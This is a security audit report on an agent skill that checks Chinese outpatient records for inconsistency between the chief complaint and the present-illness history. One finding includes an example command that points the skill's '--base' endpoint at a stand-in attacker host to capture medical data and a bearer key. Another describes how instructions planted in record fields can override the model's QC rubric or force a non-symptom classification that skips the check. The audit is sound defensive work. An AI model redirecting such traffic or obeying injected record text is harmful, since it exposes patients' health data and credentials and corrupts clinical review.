Back to skill

Security audit

unisound-chief-complaint-hpi-inconsistent

Security checks for vulnerabilities and agentic risk

Overview

The skill matches its medical-record QC purpose, but it handles sensitive clinical text through a configurable remote LLM endpoint and writes plaintext outputs, so it needs review before installation.

Install only in an environment approved for medical data. Use de-identified records, keep --base fixed to a trusted HTTPS endpoint, use a least-privilege appkey, and direct outputs to a controlled private location with retention cleanup. Treat the model result as advisory and require clinician review.

Vulnerability Patterns
  • Insecure Skill Coding PracticesFinds exploitable flaws such as hardcoded secrets or command injection
  • Skill Instruction HijackingAlters the agent's session goals or safety constraints when the skill loads
  • Agent Memory PoisoningWrites attacker-controlled rules into memory that affect later sessions
  • Remote Payload Retrieval and ExecutionFetches external code whose behavior can change after review
  • Embedded Malicious CodeShips malicious scripts inside the skill and executes them locally
Findings (3)

T09 · Insecure Skill Coding Practices

Error
Location
scripts/emr_qc_impl.py:59
Finding
Configurable API Endpoint Can Exfiltrate Medical Data and Bearer Credentials<![CDATA[ ## Vulnerability Details **File Location**: `scripts/emr_qc_impl.py:59-66` **Vulnerability Type**: Unrestricted external endpoint configuration and credential disclosure **Risk Level**: High ### Code Evidence ```python def make_llm_caller(appkey: str, base: str = DEFAULT_LLM_BASE, model: str = DEFAULT_LLM_MODEL, timeout: int = 0): """返回一个 llm(messages) → str 的调用函数。""" url = f"{base.rstrip('/')}/chat/completions" headers = {"Authorization": f"Bearer {appkey}"} def llm(messages: List[Dict[str, str]]) -> str: payload = {"model": model, "messages": messages, "temperature": 0} resp = _http_post(url, payload, headers, timeout=timeout) ``` The destination is exposed directly through command-line arguments: ```python parser.add_argument( "--base", default=DEFAULT_LLM_BASE, help=f"大模型 base URL(默认:{DEFAULT_LLM_BASE})。", ) ``` This occurs in `scripts/emr_qc.py:25-28` and `scripts/run.py:51-54`. ### Technical Analysis The user-controlled `base` value is directly concatenated with `/chat/completions`. The resulting URL receives both: 1. The API credential in the `Authorization: Bearer` header. 2. Medical-record content in the request payload. The implementation does not enforce HTTPS, validate the destination hostname, restrict ports, reject loopback or private-network addresses, or ensure that the configured endpoint belongs to HiVoice. Redirect behavior is also not explicitly restricted. Consequently, a malicious command, wrapper, configuration, or copied invocation can direct the request to an attacker-controlled service. The same behavior may also be used to issue authenticated requests to local or internal HTTP services, although exploitation depends on the services available from the execution environment. ### Attack Path 1. An attacker convinces an operator or automation system to invoke the Skill with a malicious option such as `--base http://attacker.example/v1`. 2. The operator supplies a legitimate H ...[truncated 942 chars]
Remediation
<![CDATA[ ## Remediation Suggestions 1. Remove the `--base` option from normal production use and use a fixed, trusted endpoint. 2. If endpoint customization is required, parse the URL and enforce an allowlist of approved HTTPS hostnames and ports. 3. Reject HTTP, URL user information, loopback addresses, link-local addresses, private-network destinations, and unapproved resolved IP addresses. 4. Disable redirects or verify that every redirect remains on the approved origin before forwarding the bearer credential. 5. Use a destination-scoped credential with minimum privileges, limited quota, and short validity. 6. Do not forward the credential when the destination differs from the configured trusted origin. 7. Add explicit confirmation and security logging for endpoint overrides without recording the credential or medical content. 8. Add tests covering HTTP URLs, alternate ports, DNS rebinding, private addresses, and cross-origin redirects. ]]>

T09 · Insecure Skill Coding Practices

Warning
Location
scripts/emr_qc_impl.py:113
Finding
Untrusted Medical-Record Content Can Inject Instructions into LLM Prompts<![CDATA[ ## Vulnerability Details **File Location**: `scripts/emr_qc_impl.py:113-227` **Vulnerability Type**: LLM prompt injection and unvalidated model output **Risk Level**: Medium ### Code Evidence The chief complaint is directly interpolated into the first model prompt: ```python cc_type = llm([user_msg( f"""你是一名医疗助理,负责分析患者的主诉(即患者到医院时描述的主要不适)。你的任务是判断这些主诉属于哪种类型:症状、疾病名、操作名、或其他。 ... 现在请判断下面的主诉,请直接回答类型,避免任何分析 主诉:{cc}""" )]) ``` The chief complaint and HPI are then directly interpolated into another instruction-bearing prompt: ```python return llm([user_msg( f"""你是一位病历质控专家,给定门诊病历中的主诉和现病史,请判断主诉和现病史是否有描述不一致的情况。如果一致请直接回答"无缺陷",不要分析原因;如果不一致请先回答"有缺陷",然后另起一行分析原因。 ... 现在请对下面的主诉和现病史进行判断 主诉:{cc} 现病史:{hpi}""" )]) ``` The model response is accepted without schema validation: ```python qc_result = qc_chief_complaint_hpi_inconsistent(fields, llm) ``` ### Technical Analysis The Skill treats record fields as ordinary text inside the same user message that contains the QC instructions. It does not place untrusted content into a structurally separate data channel, use robust delimiters, or validate the final response against a strict output schema. An attacker who controls or influences an imported medical record can insert instructions into the chief complaint or HPI. For example, a field could tell the model to ignore the preceding rubric and always report no defect. Because the model is expected to interpret natural-language instructions, it may follow the injected content rather than the intended QC policy. The first model call is also vulnerable. Manipulating the chief-complaint classification can cause the code to enter this branch: ```python if "症状" not in cc_type: return "无缺陷" ``` Thus, an attacker may bypass the full consistency check by inducing a non-symptom classification. The implementation also accepts arbitrary free-form model output and writes it to disk without checking that it begins with one of the expected decisions. ### Attack ...[truncated 1324 chars]
Remediation
<![CDATA[ ## Remediation Suggestions 1. Place the fixed QC policy in a system message rather than combining it with record data in one user message. 2. Clearly delimit untrusted record fields and explicitly state that content inside the delimiters is data, not instructions. 3. Use structured output, such as a JSON object with an enumerated decision and a bounded explanation field. 4. Validate model output against an allowlisted schema before using or persisting it. 5. Require the classification response to exactly match an allowed value rather than checking whether it contains a substring. 6. Reject malformed responses or retry with a separate validation prompt that does not include attacker-controlled instructions. 7. Apply length limits and normalize control characters in imported fields. 8. Add adversarial tests containing instruction-like record content, delimiter-breaking content, and attempts to force a non-symptom classification. 9. Treat model conclusions as advisory and require qualified human review for consequential decisions. ]]>

T09 · Insecure Skill Coding Practices

Warning
Location
scripts/run.py:105
Finding
Medical Records and Model-Derived Patient Details Can Be Persisted in Plaintext<![CDATA[ ## Vulnerability Details **File Location**: `scripts/run.py:105-110` **Vulnerability Type**: Plaintext persistence of sensitive medical data and misleading privacy behavior **Risk Level**: Medium ### Code Evidence The multi-format entry point can save the complete prepared medical record: ```python if args.save_prepared: save_dir = Path(args.output).parent if args.output else Path("..") / "runs" / "med-emr-qc" save_dir.mkdir(parents=True, exist_ok=True) prep_path = save_dir / f"{RULE_KEY}.prepared.txt" prep_path.write_text(record_text, encoding="utf-8") print(f"✓ 预处理文本已保存至:{prep_path}") ``` The core implementation always persists the model result: ```python default_dir = Path("..") / "runs" / "med-emr-qc" out = Path(output_path) if output_path else (default_dir / f"{RULE_KEY}.txt") out.parent.mkdir(parents=True, exist_ok=True) out.write_text(qc_result, encoding="utf-8") ``` This result-writing behavior is located at `scripts/emr_qc_impl.py:246-249`. The documentation states that input and intermediate results are not locally persisted and are destroyed after the call, while the implementation provides `--save-prepared` and always writes the result. The generated explanation may quote details from the original record. ### Technical Analysis `Path.write_text` creates ordinary plaintext files using permissions derived from the process umask. The Skill does not explicitly create the files with restrictive permissions, encrypt them, define a retention period, delete them after use, or warn before overwriting an existing file. When `--save-prepared` is enabled, the entire extracted record is stored. This may contain names, identifiers, diagnoses, symptoms, dates, or other protected health information. Even when the flag is not enabled, the model result is always stored and may repeat patient-specific details because the prompt asks the model to explain inconsistencies. The documentation's no-persistence statement can cause us ...[truncated 1308 chars]
Remediation
<![CDATA[ ## Remediation Suggestions 1. Correct the documentation so that it accurately describes every file written by the Skill. 2. Make both prepared-record persistence and result persistence explicit opt-in operations. 3. Display a clear warning before saving the full prepared record. 4. Create output files atomically with owner-only permissions, such as mode `0600`. 5. Verify that the destination directory is not shared or world-accessible and reject unsafe symbolic-link targets. 6. Minimize saved content by removing direct record quotations and redacting identifiers before persistence. 7. Provide configurable retention and secure-deletion procedures appropriate to the deployment environment. 8. Avoid placing sensitive files in generic relative `runs` directories; use a controlled application data directory. 9. Document backup, logging, and retention implications for protected health information. 10. Add tests that verify restrictive permissions and confirm that no input copy is created unless explicitly requested. ]]>
Vulnerability Patterns
  • Data ExfiltrationExternal Transmission, Env Variable Harvesting, File System Enumeration
  • MCP Least PrivilegeUnderdeclared Capability, Wildcard Permission, Missing Permission Declaration
  • MCP Tool PoisoningHidden Instructions, Unicode Deception, Parameter Description Injection
  • Prompt InjectionInstruction Override, Hidden Instructions, Exfiltration Commands
  • Privilege EscalationExcessive Permissions, Sudo/Root Execution, Credential Access
Findings (8)

Missing User Warnings

High
Confidence
98% confidence
Finding
The code sends chief complaint and HPI text from outpatient records to an external LLM endpoint, which is a cross-boundary transfer of medical data. Because these fields can contain sensitive health information and the skill provides no explicit warning, consent gate, de-identification, or locality guarantees, this creates substantial privacy, compliance, and third-party data exposure risk.

Lp3

Medium
Category
MCP Least Privilege
Confidence
94% confidence
Finding
The skill documentation advertises capabilities that include reading files, writing output files, and making network requests to an external medical-model endpoint, but it does not declare any explicit tool scope or permission boundaries. This creates unnecessary ambiguity for reviewers and runtime policy enforcement, increasing the risk of overbroad file access, unintended data exfiltration, or misuse of provided secrets such as the appkey.

Natural-Language Policy Violations

Medium
Confidence
96% confidence
Finding
The file’s user-facing natural language is entirely in Chinese, including the module docstring, CLI description, and argument help text. There is no indication that language selection is optional or that the skill is explicitly limited to a Chinese-only audience, which can violate locale/language policy requirements for user opt-in or documented justification.

Missing User Warnings

Medium
Confidence
87% confidence
Finding
The function constructs an authenticated bearer-token client and performs outbound requests to a remote service, but the skill does not surface that user-supplied credentials will be used for external network access. While using an API key is normal, undisclosed credential use combined with sensitive data transfer can surprise operators and expand the blast radius if keys are mis-scoped, logged elsewhere, or used against an unapproved endpoint.

Description-Behavior Mismatch

Medium
Confidence
94% confidence
Finding
The skill description says it outputs a defect/no-defect result, but the implementation also persists the result to a local file by default. In a medical-record QC context, even the derived output may contain sensitive clinical details or defect explanations, and silent local persistence increases the risk of unintended retention, later disclosure, and policy noncompliance.

Missing User Warnings

Medium
Confidence
91% confidence
Finding
When --save-prepared is enabled, the script writes preprocessed medical record text directly to disk, which may include highly sensitive PHI/PII. In a medical EMR quality-control skill, local plaintext persistence increases the risk of unauthorized access, accidental retention, backup propagation, or disclosure through shared workspaces, especially because there is no explicit warning, consent gate, redaction, or secure-storage control.

Natural-Language Policy Violations

Low
Confidence
89% confidence
Finding
The natural-language content of the skill, including usage instructions and safety guidance, is presented only in Chinese. Under the stated policy, forcing a specific language without user opt-in can be a locale-policy violation when no language choice or justification is provided.

Natural-Language Policy Violations

Low
Confidence
87% confidence
Finding
The module docstring presents the tool description only in Chinese, and the CLI help strings elsewhere in the file follow the same pattern. This imposes a specific language on users without any opt-in or indication that the tool is intentionally limited to a Chinese-speaking or region-specific context.

Static analysis

No suspicious patterns detected.